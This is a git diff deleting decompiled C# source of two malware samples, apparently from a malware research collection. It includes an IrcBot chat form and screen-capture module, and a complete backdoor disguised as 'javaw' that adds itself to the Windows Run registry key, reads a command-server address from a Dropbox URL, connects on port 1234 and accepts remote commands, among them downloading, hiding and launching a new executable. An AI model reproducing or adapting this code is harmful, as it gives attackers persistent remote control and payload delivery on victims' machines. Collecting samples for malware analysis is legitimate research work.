- this.Load += new EventHandler(this.chat_Load);
- this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing);
- this.Resize += new EventHandler(this.chat_Resize);
- this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged);
- this.SizeChanged += new EventHandler(this.chat_SizeChanged);
- this.InitializeComponent();
- }
-
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (!disposing || this.components == null)
- return;
- this.components.Dispose();
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
-
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = (IContainer) new System.ComponentModel.Container();
- this.T2 = new TextBox();
- this.B1 = new Button();
- this.Timer1 = new Timer(this.components);
- this.T1 = new RichTextBox();
- this.SuspendLayout();
- this.T2.BackColor = SystemColors.WindowText;
- this.T2.ForeColor = SystemColors.InactiveCaption;
- TextBox t2_1 = this.T2;
- Point point1 = new Point(12, 364);
- Point point2 = point1;
- t2_1.Location = point2;
- this.T2.Name = "T2";
- TextBox t2_2 = this.T2;
- Size size1 = new Size(450, 20);
- Size size2 = size1;
- t2_2.Size = size2;
- this.T2.TabIndex = 2;
- this.B1.FlatStyle = FlatStyle.Flat;
- Button b1_1 = this.B1;
- point1 = new Point(468, 364);
- Point point3 = point1;
- b1_1.Location = point3;
- this.B1.Name = "B1";
- Button b1_2 = this.B1;
- size1 = new Size(133, 23);
- Size size3 = size1;
- b1_2.Size = size3;
- this.B1.TabIndex = 3;
- this.B1.Text = "Send";
- this.B1.UseVisualStyleBackColor = true;
- this.Timer1.Enabled = true;
- this.T1.BackColor = SystemColors.WindowText;
- this.T1.ForeColor = SystemColors.InactiveCaption;
- RichTextBox t1_1 = this.T1;
- point1 = new Point(12, 12);
- Point point4 = point1;
- t1_1.Location = point4;
- this.T1.Name = "T1";
- this.T1.ReadOnly = true;
- RichTextBox t1_2 = this.T1;
- size1 = new Size(450, 346);
- Size size4 = size1;
- t1_2.Size = size4;
- this.T1.TabIndex = 4;
- this.T1.Text = "";
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.BackColor = SystemColors.InactiveCaptionText;
- size1 = new Size(413, 233);
- this.ClientSize = size1;
- this.Controls.Add((Control) this.T1);
- this.Controls.Add((Control) this.B1);
- this.Controls.Add((Control) this.T2);
- this.Name = nameof (chat);
- this.ShowIcon = false;
- this.StartPosition = FormStartPosition.CenterScreen;
- this.Text = nameof (chat);
- this.ResumeLayout(false);
- this.PerformLayout();
- }
-
- internal virtual TextBox T2
- {
- get => this._T2;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress);
- EventHandler eventHandler = new EventHandler(this.T2_TextChanged);
- if (this._T2 != null)
- {
- this._T2.KeyPress -= pressEventHandler;
- this._T2.TextChanged -= eventHandler;
- }
- this._T2 = value;
- if (this._T2 == null)
- return;
- this._T2.KeyPress += pressEventHandler;
- this._T2.TextChanged += eventHandler;
- }
- }
-
- internal virtual Button B1
- {
- get => this._B1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.B1_Click);
- if (this._B1 != null)
- this._B1.Click -= eventHandler;
- this._B1 = value;
- if (this._B1 == null)
- return;
- this._B1.Click += eventHandler;
- }
- }
-
- internal virtual Timer Timer1
- {
- get => this._Timer1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- this._Timer1.Tick -= eventHandler;
- this._Timer1 = value;
- if (this._Timer1 == null)
- return;
- this._Timer1.Tick += eventHandler;
- }
- }
-
- internal virtual RichTextBox T1
- {
- get => this._T1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.T1_TextChanged);
- if (this._T1 != null)
- this._T1.TextChanged -= eventHandler;
- this._T1 = value;
- if (this._T1 == null)
- return;
- this._T1.TextChanged += eventHandler;
- }
- }
-
- private void chat_FormClosing(object sender, FormClosingEventArgs e)
- {
- if (chat.clos)
- return;
- e.Cancel = true;
- }
-
- private void chat_Resize(object sender, EventArgs e) => this.fx();
-
- private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx();
-
- public void fx()
- {
- try
- {
- this.T1.Width = this.Width - 40;
- this.T2.Width = this.B1.Left - 20;
- this.T2.Top = this.Height - this.T2.Height - 50;
- this.T1.Height = this.T2.Top - 20;
- this.B1.Left = this.T1.Width - this.B1.Width + 12;
- this.B1.Top = this.T2.Top - 3;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void T2_KeyPress(object sender, KeyPressEventArgs e)
- {
- if (Strings.Asc(e.KeyChar) != 13)
- return;
- try
- {
- if (this.T2.Text.Length <= 0)
- return;
- B b = MyProject.Forms.B;
- string y = IND.Y;
- TextBox t2 = this.T2;
- string text = t2.Text;
- string str1 = API.ENB(ref text);
- t2.Text = text;
- string str2 = "#21" + y + str1;
- ref string local = ref str2;
- b.SEND(ref local);
- RichTextBox t1 = this.T1;
- t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n";
- this.T2.Text = "";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void chat_SizeChanged(object sender, EventArgs e) => this.fx();
-
- private void chat_Load(object sender, EventArgs e)
- {
- try
- {
- B b = MyProject.Forms.B;
- string str = "#20";
- ref string local = ref str;
- b.SEND(ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.TopMost = true;
- this.Show();
- }
-
- private void B1_Click(object sender, EventArgs e)
- {
- try
- {
- if (this.T2.Text.Length <= 0)
- return;
- B b = MyProject.Forms.B;
- string y = IND.Y;
- TextBox t2 = this.T2;
- string text = t2.Text;
- string str1 = API.ENB(ref text);
- t2.Text = text;
- string str2 = "#21" + y + str1;
- ref string local = ref str2;
- b.SEND(ref local);
- RichTextBox t1 = this.T1;
- t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n";
- this.T2.Text = "";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void T2_TextChanged(object sender, EventArgs e)
- {
- }
-
- private void Timer1_Tick(object sender, EventArgs e)
- {
- if (!chat.clos)
- return;
- this.Close();
- }
-
- private void T1_TextChanged(object sender, EventArgs e)
- {
- try
- {
- this.T1.SelectionStart = this.T1.Text.Length - 1;
- this.T1.ScrollToCaret();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs
deleted file mode 100644
index d2b31416..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs
+++ /dev/null
@@ -1,151 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.sc
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- internal sealed class sc
- {
- private static bool _0;
- private static int H;
- private static int W;
- private static int HH;
- private static int WW;
- public static Image Image;
- public static Rectangle Bounds;
-
- public static byte[] gc(ref int Q)
- {
- if (!sc._0)
- {
- sc._0 = true;
- sc.H = MyProject.Computer.Screen.Bounds.Height;
- sc.W = MyProject.Computer.Screen.Bounds.Width;
- }
- int num;
- switch (Q)
- {
- case 0:
- num = 30;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 1:
- num = 25;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 2:
- num = 20;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 3:
- num = 60;
- sc.HH = 2;
- sc.WW = 2;
- break;
- case 4:
- num = 50;
- sc.HH = 2;
- sc.WW = 2;
- break;
- case 5:
- num = 70;
- sc.HH = 3;
- sc.WW = 3;
- break;
- case 6:
- num = 40;
- sc.HH = 3;
- sc.WW = 3;
- break;
- case 7:
- num = 50;
- sc.HH = 4;
- sc.WW = 4;
- break;
- case 8:
- num = 50;
- sc.HH = 5;
- sc.WW = 5;
- break;
- case 9:
- num = 50;
- sc.HH = 6;
- sc.WW = 6;
- break;
- case 10:
- num = 50;
- sc.HH = 9;
- sc.WW = 9;
- break;
- }
- MemoryStream memoryStream = new MemoryStream();
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
- sc.Gd((int) Math.Round((double) sc.W / (double) sc.WW), (int) Math.Round((double) sc.H / (double) sc.HH)).Save((Stream) memoryStream, encoderInfo, encoderParams);
- return memoryStream.ToArray();
- }
-
- public static ImageCodecInfo GetEncoderInfo(string mimeType)
- {
- ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
- int length = imageEncoders.Length;
- for (int index = 0; index <= length; ++index)
- {
- if (Operators.CompareString(imageEncoders[index].MimeType, mimeType, false) == 0)
- return imageEncoders[index];
- }
- return (ImageCodecInfo) null;
- }
-
- public static Image Gd(int Wi = 0, int He = 0, bool Sh = true)
- {
- Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap);
- Graphics graphics2 = graphics1;
- Size size1;
- ref Size local1 = ref size1;
- int width = Screen.PrimaryScreen.Bounds.Width;
- Rectangle bounds = Screen.PrimaryScreen.Bounds;
- int height = bounds.Height;
- local1 = new Size(width, height);
- Size blockRegionSize = size1;
- graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy);
- if (Sh)
- {
- Cursor cursor = Cursors.Default;
- Graphics g = graphics1;
- ref Rectangle local2 = ref bounds;
- Point position = Cursor.Position;
- size1 = new Size(32, 32);
- Size size2 = size1;
- local2 = new Rectangle(position, size2);
- Rectangle targetRect = bounds;
- cursor.Draw(g, targetRect);
- }
- graphics1.Dispose();
- if (Wi == 0 & He == 0)
- {
- sc.Image = (Image) bitmap;
- return (Image) bitmap;
- }
- Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap.Dispose();
- return thumbnailImage;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs
deleted file mode 100644
index 1bed1080..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs
+++ /dev/null
@@ -1,14 +0,0 @@
-using System.Reflection;
-using System.Runtime.InteropServices;
-
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyTitle("javaw")]
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("javaw")]
-[assembly: AssemblyCopyright("Copyright © 2012")]
-[assembly: AssemblyTrademark("")]
-[assembly: ComVisible(false)]
-[assembly: Guid("8ec55a44-e40b-4225-82e0-37bca9ad82f6")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
-[assembly: AssemblyVersion("1.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj
deleted file mode 100644
index 8063c2e8..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {F267A449-4273-4D93-ABCF-844D17F5FA49}
- WinExe
- javaw
- v4.0
- Client
- 1.0.0.0
- 512
- javaw
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln
deleted file mode 100644
index 2e685a00..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "javaw", "Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.csproj", "{F267A449-4273-4D93-ABCF-844D17F5FA49}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {F267A449-4273-4D93-ABCF-844D17F5FA49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {F267A449-4273-4D93-ABCF-844D17F5FA49}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {F267A449-4273-4D93-ABCF-844D17F5FA49}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {F267A449-4273-4D93-ABCF-844D17F5FA49}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs
deleted file mode 100644
index 4ba738e8..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs
+++ /dev/null
@@ -1,290 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: javaw.Form1
-// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe
-
-using Microsoft.Win32;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Net;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace javaw
-{
- public class Form1 : Form
- {
- private const int WM_SYSCOMMAND = 274;
- private const int SC_MONITORPOWER = 61808;
- private const int HWND_BROADCAST = 65535;
- private Socket CLIENT;
- private Thread CONNECTING;
- private IContainer components = (IContainer) null;
-
- [DllImport("user32.dll")]
- private static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam);
-
- public Form1() => this.InitializeComponent();
-
- private void Form1_Load(object sender, EventArgs e)
- {
- this.WindowState = FormWindowState.Minimized;
- this.Hide();
- try
- {
- if (e != null)
- {
- if (e.ToString().Contains("Update"))
- {
- Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString());
- foreach (Process process in Process.GetProcesses())
- {
- try
- {
- if (process.Modules[0].FileName == e.ToString().Split('|')[1])
- {
- process.Kill();
- Thread.Sleep(10000);
- if (System.IO.File.Exists(e.ToString().Split('|')[1]))
- System.IO.File.Delete(e.ToString().Split('|')[1]);
- }
- }
- catch (Win32Exception ex)
- {
- }
- }
- }
- else if (e.ToString().Contains("First"))
- Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString());
- }
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- this.CONNECTING = new Thread(new ThreadStart(this.Connect));
- this.CONNECTING.Start();
- }
-
- private void Connect()
- {
- WebClient webClient = new WebClient();
- this.CLIENT = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- while (!this.CLIENT.Connected)
- {
- try
- {
- this.CLIENT.Connect(webClient.DownloadString("http://dl.dropbox.com/u/7751171/IP%20Address.txt"), 1234);
- Thread.Sleep(10000);
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
- this.ListenForCommands();
- }
-
- private void ListenForCommands()
- {
- byte[] numArray1 = new byte[98301];
- try
- {
- while (true)
- {
- while (this.CLIENT.Connected)
- {
- byte[] numArray2 = new byte[98301];
- int length = this.CLIENT.Receive(numArray2, numArray2.Length, SocketFlags.None);
- string[] strArray = Encoding.ASCII.GetString(numArray2).Substring(0, length).Split('|');
- string str = strArray[0];
- numArray1 = (byte[]) null;
- numArray1 = new byte[98301];
- if (str == "MESSAGEBOX" && strArray.Length > 1)
- new Thread(new ParameterizedThreadStart(this.MessageBoxThat)).Start((object) strArray[1]);
- if (str == "BEEP" && strArray.Length > 2)
- new Thread(new ParameterizedThreadStart(this.WindowsBeep)).Start((object) (strArray[1] + ":" + strArray[2]));
- if (str == "MONITOROFF")
- Form1.SendMessage((int) ushort.MaxValue, 274, 61808, 2);
- if (str == "UPDATE")
- {
- try
- {
- long int64 = Convert.ToInt64(strArray[1]);
- this.SendCommand("READYTORECIEVE", "");
- long num = 0;
- FileStream fileStream = new FileStream(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileMode.Create, FileAccess.Write);
- NetworkStream networkStream = new NetworkStream(this.CLIENT);
- byte[] buffer = new byte[1];
- int count;
- for (; num < int64; num += (long) count)
- {
- count = networkStream.Read(buffer, 0, buffer.Length);
- fileStream.Write(buffer, 0, count);
- }
- fileStream.Close();
- fileStream.Dispose();
- networkStream.Close();
- networkStream.Dispose();
- this.SendCommand("UPDATESUCCESS", "");
- System.IO.File.SetAttributes(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileAttributes.Hidden);
- string path = "";
- if (!System.IO.File.Exists("C:\\Program Files\\Java\\javaw.exe"))
- {
- path = "C:\\Program Files\\Java\\javaw.exe";
- System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javax.exe");
- }
- else if (!System.IO.File.Exists("C:\\Program Files\\Java\\javas.exe"))
- {
- path = "C:\\Program Files\\Java\\javas.exe";
- System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javaz.exe");
- }
- else
- this.SendCommand("COPYINGFAILED", "");
- try
- {
- if (System.IO.File.Exists(path))
- {
- this.CLIENT.Disconnect(false);
- new Process()
- {
- StartInfo = {
- FileName = "",
- Arguments = ("Update|" + Application.ExecutablePath)
- }
- }.Start();
- }
- else
- this.SendCommand("UPDATEFAILEDSTART", "Could not find file");
- }
- catch (Exception ex)
- {
- this.SendCommand("UPDATEFAILEDSTART", ex.ToString());
- }
- }
- catch (Exception ex)
- {
- this.SendCommand("FAILEDUPDATE", ex.ToString());
- }
- }
- }
- this.Connect();
- }
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
-
- private void MessageBoxThat(object Text)
- {
- try
- {
- int num = (int) MessageBox.Show(Text.ToString());
- Thread.Sleep(500);
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
-
- private void WindowsBeep(object Noise)
- {
- try
- {
- string[] strArray = Noise.ToString().Split(':');
- Console.Beep(Convert.ToInt32(strArray[0]), Convert.ToInt32(strArray[1]));
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
-
- private void Form1_FormClosing(object sender, FormClosingEventArgs e)
- {
- try
- {
- if (this.CLIENT.Connected)
- {
- this.CLIENT.Disconnect(false);
- this.CLIENT.Close();
- this.CLIENT.Dispose();
- }
- else
- {
- this.CLIENT.Close();
- this.CLIENT.Dispose();
- }
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
-
- private void SendCommand(string Command, string Parameters)
- {
- try
- {
- if (this.CLIENT != null)
- {
- if (this.CLIENT.Connected)
- {
- try
- {
- byte[] bytes = Encoding.ASCII.GetBytes(Parameters.Length <= 0 ? Command : Command + "|" + Parameters);
- this.CLIENT.Send(bytes, bytes.Length, SocketFlags.None);
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
- else
- {
- int num1 = (int) MessageBox.Show("Couldn't send command, not connected to Client");
- }
- }
- else
- {
- int num2 = (int) MessageBox.Show("Couldn't send command, not connected to Client");
- }
- }
- catch (Exception ex)
- {
- int num = (int) MessageBox.Show(ex.ToString());
- }
- }
-
- protected override void Dispose(bool disposing)
- {
- if (disposing && this.components != null)
- this.components.Dispose();
- base.Dispose(disposing);
- }
-
- private void InitializeComponent()
- {
- this.SuspendLayout();
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.ClientSize = new Size(116, 0);
- this.Name = nameof (Form1);
- this.Text = "javaw";
- this.WindowState = FormWindowState.Minimized;
- this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
- this.Load += new EventHandler(this.Form1_Load);
- this.ResumeLayout(false);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs
deleted file mode 100644
index a9074ee6..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs
+++ /dev/null
@@ -1,22 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: javaw.Program
-// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe
-
-using System;
-using System.Windows.Forms;
-
-namespace javaw
-{
- internal static class Program
- {
- [STAThread]
- private static void Main()
- {
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Application.Run((Form) new Form1());
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs
deleted file mode 100644
index e78b97df..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs
+++ /dev/null
@@ -1,46 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: javaw.Properties.Resources
-// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe
-
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Globalization;
-using System.Resources;
-using System.Runtime.CompilerServices;
-
-namespace javaw.Properties
-{
- [DebuggerNonUserCode]
- [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
- [CompilerGenerated]
- internal class Resources
- {
- private static ResourceManager resourceMan;
- private static CultureInfo resourceCulture;
-
- internal Resources()
- {
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static ResourceManager ResourceManager
- {
- get
- {
- if (javaw.Properties.Resources.resourceMan == null)
- javaw.Properties.Resources.resourceMan = new ResourceManager("javaw.Properties.Resources", typeof (javaw.Properties.Resources).Assembly);
- return javaw.Properties.Resources.resourceMan;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static CultureInfo Culture
- {
- get => javaw.Properties.Resources.resourceCulture;
- set => javaw.Properties.Resources.resourceCulture = value;
- }
- }
-}
